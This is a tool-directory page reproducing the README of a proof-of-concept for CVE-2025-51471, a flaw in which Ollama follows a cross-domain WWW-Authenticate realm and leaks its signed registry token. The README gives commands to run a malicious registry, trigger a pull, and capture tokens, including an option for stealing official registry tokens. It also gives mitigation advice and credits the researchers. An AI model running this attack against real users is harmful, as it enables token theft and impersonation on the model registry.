Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyยฉ 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-51471-POC โ€” This PoC is for educational and authorized security testing purposes only. Do NOT use against systems you don't own. | Kitploit
Tools/GitHubGitHub/ajtazer/cve-2025-51471-poc
Vulnerability AnalysisExploitationWeb SecurityAuthenticationRed Teaming
GitHubajtazer/cve-2025-51471-poc

CVE-2025-51471-POC

This PoC is for educational and authorized security testing purposes only. Do NOT use against systems you don't own.

View Repository
23710 months agoNot yet reviewed
Website
Share

CVE-2025-51471 - Ollama Cross-Domain Token Exposure PoC

CVE-2025-51471 Ollama CVSS

Author: ajtazer

๐Ÿ”ฅ Overview

This repository contains a Proof of Concept (PoC) for CVE-2025-51471, a Cross-Domain Authentication Token Exposure vulnerability that affects all versions of Ollama (including the latest).

๐Ÿ“‹ Vulnerability Description

When Ollama pulls a model from an HTTPS server that responds with 401 Unauthorized, it follows the WWW-Authenticate header's realm URL without validating if it belongs to the same domain[...]

This allows an attacker to:

  1. Set up a malicious "registry" server
  2. Trick a user into pulling a model from that server
  3. Return a 401 response with a WWW-Authenticate header pointing to attacker-controlled endpoint
  4. Ollama blindly sends its Ed25519 signed authentication token to the attacker
  5. The attacker captures the token

Impact

  • Access private models on registry.ollama.ai
  • Push malicious models under the victim's identity
  • Impersonate the victim on the Ollama registry

๐Ÿš€ Quick Start

Prerequisites

  • Python 3.7+
  • Flask (pip install flask)
  • Ollama (any version)

Installation

git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask

Running the PoC

  1. Start the malicious registry server (HTTP mode):
python3 malicious_registry.py --no-ssl
  1. In another terminal, ensure Ollama is running:
ollama serve
  1. Trigger the vulnerability:
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'

# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
  1. Watch the server terminal for captured tokens!

๐ŸŽฌ Demo (PoC Video)

I demonstrated this PoC in a short video โ€” watch it here:

YouTube โ€” PoC demo

Note (macOS HTTPS mode): If using HTTPS mode, add the generated cert to your keychain or use HTTP mode with --no-ssl.

๐Ÿ“– Usage Options

python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]

Options:
  --port, -p PORT       Port to listen on (default: 8080)
  --no-ssl              Use HTTP instead of HTTPS
  --steal-official, -s  Redirect to steal registry.ollama.ai tokens
  --no-verbose          Disable verbose output

๐Ÿ”ง API Endpoints

EndpointDescription
/v2/*Fake registry endpoint (triggers exploit)
/v2/tokenToken capture endpoint
/tokensView all captured tokens (JSON)
/healthServer health check

๐Ÿ›ก๏ธ Mitigation

  1. Only pull models from trusted sources
  2. Be cautious when pulling models from third-party registries
  3. See PR #10750 for the official fix

๐Ÿ“ Credits

  • Author: ajtazer
  • Original Researchers:
    • Mohammed Benhelli (@FuzzingLabs)
    • Patrick Ventuzelo (@FuzzingLabs)
    • Huntr Report

โš ๏ธ Disclaimer

This PoC is for educational and authorized security testing purposes only. Do NOT use against systems you don't own.


Made with โค๏ธ using Antigravity

Download Tool

Most Popular

View all โ†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    ๐ŸŽฏ The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityโ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools โ†’